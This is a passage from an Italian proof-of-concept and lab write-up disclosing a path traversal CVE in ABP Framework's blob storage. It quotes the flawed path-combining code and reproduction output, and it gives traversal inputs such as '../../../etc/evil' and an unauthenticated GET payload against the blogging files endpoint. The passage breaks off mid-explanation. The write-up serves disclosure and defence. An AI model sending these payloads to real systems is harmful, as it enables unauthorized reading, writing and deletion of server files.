
Proof-of-concept e ambiente di laboratorio per CVE-2026-125753, un path traversal nell'archiviazione blob di ABP Framework che consente la lettura di file senza autenticazione tramite gli endpoint dei file di blogging.
Un nome di blob può uscire dal proprio contenitore in Volo.Abp.BlobStoring.FileSystem, il provider
del file system alla base dell'astrazione di blob storing di ABP. DefaultBlobFilePathCalculator concatena il
nome al percorso del contenitore con Path.Combine e nulla verifica che il risultato sia rimasto
all'interno. Un modulo distribuito trasforma ciò in una lettura di file non autenticata via HTTP su
host Windows: GET /api/blogging/files/..%5C..%5C..%5C<name> restituisce un file esterno
al contenitore a un chiamante senza cookie, senza token e senza header.
| CVE | CVE-2026-125753, assegnato da VulnCheck, pubblicato il 2026-11-10 |
| Advisory | GHSA-4x2h-f4f8-xjr6, 2026-10-08, più l'advisory di VulnCheck |
| Progetto | ABP Framework |
| Affetto | Volo.Abp.BlobStoring.FileSystem 2.9.0 precedente alla 10.6.2 e 10.7.0-rc.1 precedente alla 10.7.0 · Volo.Blogging.Application 0.14.0 precedente alla 10.6.2, stesso intervallo di pre-release |
| Corretto | 10.7.0, backportato alla 10.6.2 |
| CWE | CWE-22, limitazione impropria di un pathname a una directory ristretta |
| CVSS | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N 8.2 High, e CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N 5.9 Medium, entrambi da VulnCheck |
| Testato su | pacchetti rilasciati 10.6.1 da nuget.org · ramo Linux su .NET SDK 10.0.401 · ramo Windows su Windows Server 2022 10.0.20348.0, PowerShell 7.6.9, SDK 10.0.403 |
| Credito | Nguyen Le Thanh Nam (yuwkaa), scopritore. Corretto dal team ABP nella PR #26232, commit a25442ec |
Il vendor ha corretto il codice e pubblicato la GHSA senza richiedere un identificativo, e
ha valutato quell'advisory CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N, che è 0.0, su una
pagina il cui stesso testo di impatto afferma che file esterni al contenitore possono essere letti, scritti e
cancellati. VulnCheck ha assegnato la CVE in seguito e l'ha valutata 8.2.
framework/src/Volo.Abp.BlobStoring.FileSystem/Volo/Abp/BlobStoring/FileSystem/DefaultBlobFilePathCalculator.cs:
public virtual string Calculate(BlobProviderArgs args)
{
var fileSystemConfiguration = args.Configuration.GetFileSystemConfiguration();
var blobPath = fileSystemConfiguration.BasePath;
if (CurrentTenant.Id == null)
{
blobPath = Path.Combine(blobPath, "host");
}
else
{
blobPath = Path.Combine(blobPath, "tenants", CurrentTenant.Id.Value.ToString("D"));
}
if (fileSystemConfiguration.AppendContainerNameToBasePath)
{
blobPath = Path.Combine(blobPath, args.ContainerName);
}
blobPath = Path.Combine(blobPath, args.BlobName);
return blobPath;
}
Path.Combine conta due volte. Non risolve .., e quando il suo secondo argomento è
radicato scarta tutto ciò che lo precede.
Anche il normalizzatore che viene eseguito prima di questo non aggiunge un controllo di contenimento.
FileSystemBlobNamingNormalizer rimuove i caratteri che Windows vieta nei nomi dei file, solo
quando il sistema operativo corrente è Windows, e mantiene / e \ di proposito. Il suo stesso commento dice
"In order to support the directory included in the blob name, remove / and ". Su Linux
restituisce il nome invariato. Nessuno dei due rami esamina un segmento .. né verifica se il nome
è radicato.
minimal-repro/ è composto da due file che fissano il pacchetto rilasciato, così il risultato
non dipende da un laboratorio. run-both-legs.sh lo esegue
contro il pacchetto vulnerabile e quello corretto uno dopo l'altro e stampa il checksum risolto
accanto a ciascun ramo. L'esecuzione seguente è del 2026-11-11, SDK 10.0.401, contro
volo.abp.blobstoring.filesystem.10.6.1.nupkg
(sha256 fdc15f5c02903a84f32671d3b6d681da138e613825f9ebc177decce1937335e1), output completo in
transcripts/minimal-repro.txt:
blob name ok.txt -> Calculate: /var/blobs/host/mycontainer/ok.txt FullPath: /var/blobs/host/mycontainer/ok.txt
blob name sub/dir/ok.txt -> Calculate: /var/blobs/host/mycontainer/sub/dir/ok.txt FullPath: /var/blobs/host/mycontainer/sub/dir/ok.txt
blob name ../../../etc/evil -> Calculate: /var/blobs/host/mycontainer/../../../etc/evil FullPath: /var/etc/evil
blob name /tmp/absolute-evil -> Calculate: /tmp/absolute-evil FullPath: /tmp/absolute-evil
Le prime due righe sono il controllo: un nome ordinario e la forma documentata con sottodirectory
restano entrambi all'interno del container. La terza lo lascia, e la quarta scarta BasePath
del tutto. Cambia l'unica versione in 10.7.0 e lo stesso programma mantiene i due controlli
e genera un'eccezione sulla traversal, sul pacchetto sha256
fccb5077758ed0ee45f1a05515dc47a956ffa0561b7350d7f9ca4dba1565c53b:
blob name ok.txt -> Calculate: /var/blobs/host/mycontainer/ok.txt FullPath: /var/blobs/host/mycontainer/ok.txt
blob name sub/dir/ok.txt -> Calculate: /var/blobs/host/mycontainer/sub/dir/ok.txt FullPath: /var/blobs/host/mycontainer/sub/dir/ok.txt
Unhandled exception. System.ArgumentException: The BlobName must not contain '.' or '..' segments. (Parameter 'BlobName')
Attraverso IBlobContainer quei percorsi diventano file scritti, letti ed eliminati su disco. L'esecuzione completa è in transcripts/blob-traversal.txt: una scrittura
al di fuori del container, una lettura di un file inserito manualmente che non è mai passato attraverso l'API
blob, un'eliminazione di un file al di fuori del container, e una sovrascrittura cross-tenant in cui il tenant B
ha richiesto il proprio blob con un nome ordinario e ha ottenuto contenuto che il tenant A aveva scritto. Quei
passaggi si comportano allo stesso modo su 8.0.0, 9.0.0 e 10.7.0-rc.5, una trascrizione ciascuno in
transcripts/.
Volo.Blogging espone BlogFilesController su api/blogging/files/{name} e
api/blogging/files/www/{name}, e FileAppService.GetAsync passa il valore della route a
BlobContainer.GetAllBytesAsync con solo un controllo di null-o-spazio bianco. Non c'è alcun
attributo di autorizzazione sul controller, su nessuna delle due azioni, su FileAppService, né su
BloggingAppServiceBase.
Poiché [Route("{name}")] è un singolo segmento, la domanda è cosa sopravvive al routing.
A un'applicazione ASP.NET Core minimale con la stessa forma di route è stato chiesto cosa riceveva il gestore
(transcripts/route-encoding.txt):